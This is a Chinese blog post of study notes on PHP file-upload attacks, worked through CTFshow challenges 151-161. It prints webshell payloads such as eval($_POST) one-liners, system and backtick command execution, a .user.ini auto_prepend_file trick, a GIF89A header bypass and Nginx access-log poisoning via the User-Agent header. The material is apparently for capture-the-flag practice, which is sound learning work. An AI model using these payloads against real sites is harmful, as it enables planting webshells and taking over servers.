首页 > 其他分享 >小迪安全-Web攻防-文件上传-JS验证&mime&user.ini&语言特性

小迪安全-Web攻防-文件上传-JS验证&mime&user.ini&语言特性

时间:2024-08-04 16:27:50浏览次数:16  
标签:Web 小迪 文件 auto JS ini 上传 png user

一、知识点

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini妙用

4、文件上传-PHP语言特性

二、详细点

1、检测层面:前端,后端

前置:后门代码需要用特定格式后缀解析,不能以图片后缀解析解析脚本后门代码(解析漏洞除外)

如:JPG图片里面有PHP后门代码,不能被触发,所以连接不上后门

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIMEE检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

三、演示案例

1、CTFshow-151

前端过滤–直接修改前端允许上传的类型绕过

利用插件hackbar,或者webshell工具(哥斯拉,蚁剑等)

2、CTFshow-152

前后端同时过滤:JS验证+MIME

1)修改前端代码允许php文件上传

2)BP抓包修改content-type为image/png绕过

3、CTFshow-153

前后端过滤同时严格过滤参数:JS验证+.user.ini

1)上传.user.ini配置文件:auto_prepend_file=1.png

2)上传写有webshell的文件(可以为txt也可以为png)

1.png:"PHP一句话木马"

3)访问index.php即可反弹shell

补充知识:.user.ini

除了PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来设置的。在修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR、 PHP_INI_USER”的设置。

其中有两个配置,可以用来制造后门:

auto_append_file; 指定一个文件,自动包含在要执行的文件前。

auto_prepend_file; 指定一个文件,自动包含在要执行的文件后。

使用方法很简单,直接写在.user.ini中:

auto_prepend_file=1.png

或者

auto_append_file=1.png

4、CTFshow-154,155

JS验证+.user.ini+短标签

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png:"PHP一句话木马" (No)

3)删减进行过滤内容确定,最终确定为过滤掉了

选择PHP代码执行的等价格式: <?=eval($_POST[x]);?>(YES)

4)访问index.php,即可反弹shell。

# 等价为PHP代码 <?php phpinfo();?> 的代码执行格式
# PHP短标签

<? echo '123';?>    #前提是开启配置参数short_open_tags=on 
<?=(表达式) ?>       #不需要开启参数设置        
<% echo '123';%>    #前提是开启配置参数asp_tapgs=on
<script language="php">echo '1'; </script>   #不需要修改参数开关

5、CTFshow-156

JS验证+user.ini+短标签+过滤

比对分析可知,过滤了[]

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png: <?=eval($_POST[x]);?>(No)

3)1.png:<?=eval($_POST{0});?> (YES)

4)访问index.php,即可反弹shell。

5、CTFshow-157-159

JS验证+user.ini+短标签+过滤

157-158关:过滤了;

159关:过滤了()

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png: <?=eval($_POST{x});?>(No)

3)157-158 ==> 1.png:<?=system('tac ../fl*')?> (YES)

159 ==> 1.png: <?=`tac ../fl*`?>(YES)

反引号运算符的效果与函数shell_exec(相同)

6、CTFshow-160

JS验证+user.ini+短标签+过滤

BP抓包发现使用的Nginx中间件,Nginx的日志路径为:/var/log/nginx

采用包含默认日志的方式进行绕过处理,日志中记录UA头信息,在UA头信息中写入后门代码,hackbar或者远程工具连接获取flag。

1)上传.user.ini文件:auto_prepend_file = 1.png

2)上传木马文件1.png: <?=`tac ../fl*`?>(No)

3)1.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?> (YES)

4)BP抓包,在UA头信息中写入后门代码,利用工具获取flag

7、CTFshow-161

JS验证+user.ini+短标签+过滤

文件头部检测是否为图片格式文件

user ini:GIF89A auto_prepend_file=test.png

test.png:GIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?> (YES)

标签:Web,小迪,文件,auto,JS,ini,上传,png,user
From: https://blog.csdn.net/weixin_43809272/article/details/140907421

相关文章

  • 基于nodejs+vue家教管理系统[程序+论文+开题]-计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容研究背景随着教育市场的日益繁荣和家庭教育需求的不断增长,家教作为一种灵活高效的教育服务形式,在提升学生学习成绩、培养综合素质方面发挥着重要作用。然而,传统家......
  • 基于nodejs+vue家居产品的进销存系统[程序+论文+开题]-计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容研究背景随着科技的飞速发展和生活水平的提高,家居市场迎来了前所未有的繁荣。然而,传统家居产品的进销存管理方式逐渐暴露出效率低下、信息滞后、成本高昂等问题。......
  • 基于nodejs+vue家具商城系统[程序+论文+开题]-计算机毕业设计
    本系统(程序+源码+数据库+调试部署+开发环境)带文档lw万字以上,文末可获取源码系统程序文件列表开题报告内容研究背景随着互联网技术的飞速发展和电子商务的普及,线上购物已成为人们日常生活中不可或缺的一部分。在家居消费领域,传统的家具购买方式往往受限于地理位置、时间......
  • JavaWeb中Servlet过滤器的应用即防跳墙的添加
    原理:在Servlet和mybatis的基础环境上使用过滤器(对上篇学生管理系统的进一步完善)也是使用session进行判断和控制页面的跳转一、过滤器的基本概念: Servlet过滤器:  从字面上的字意理解为经过一层次的过滤处理才达到使用的要求,而其实Servlet过滤器就是服务器与客户端请求......
  • JavaWeb之servlet关于Ajax实现前后端分离
    一、什么是Ajax:AJAX=AsynchronousJavaScriptandXML(异步的JavaScript和XML)。AJAX不是新的编程语言,而是一种使用现有标准的新方法。AJAX最大的优点是在不重新加载整个页面的情况下,可以与服务器交换数据并更新部分网页内容。AJAX不需要任何浏览器插件,但需要用户允......
  • webpack 打包实战解析
    Webpack打包实战本文从一个简单的例子出发,比较一下,我们的代码经过webpack打包后会变成啥样,带有HMR的情况下,会有什么不同我们的代码//index.jsimport{greeting}from'./moduleA'letcleanup=null;functionrender(){constnode=document.getElementById('mount'......
  • 使用 python 和 json 抓取该网站的正确 URL 是什么?
    试图抓取这个网站-->https://ucr.gov/enforcement/1000511它曾经使用下面的代码,然后停止了。无法获取响应中的json或任何内容。query="1000511"url='https://ucr.gov/api/enforcement/{}'.format(query)headers={'User-Agent':'Mozilla/5.0(......
  • 基于web的高校校园跳蚤市场管理系统的设计与实现/校园二手交易平台/课设/含源码
    需要源码的联系方式请看文末基于web的高校校园跳蚤市场管理系统的设计与实现摘要随着互联网技术在不断地发展,网络成为了人们生活的一部分,而高校校园跳蚤市场管理系统作为网上应用的一个全新的体现,越来越多的学生开始在校园内寻找二手物品,以降低生活成本。因此,高校校园跳蚤......
  • 基于Java的人力资源管理/企业人事管理/Web、ssm、Vue
    需要源码的联系方式请看文末摘要 人才作为企业的核心资源,如果得到有效合理的管理,就能在竞争中脱颖而出。在此基础上,开发了一个人力资源管理系统,以满足企业人力资源管理体系的需求。该系统前后端分别采用Vue和SSM框架进行开发,这是目前非常流行的技术,可以快速开发高质量的应......
  • Python 请求 POST 请求与 websockets 库一起使用时挂起
    我使用Python中的requests库发送POST请求,同时维护与websockets库的WebSocket连接:importasyncioimportrequestsimportwebsocketsasyncdefwebsocket_handler(uri):asyncwithwebsockets.connect(uri)aswebsocket:whileTrue:me......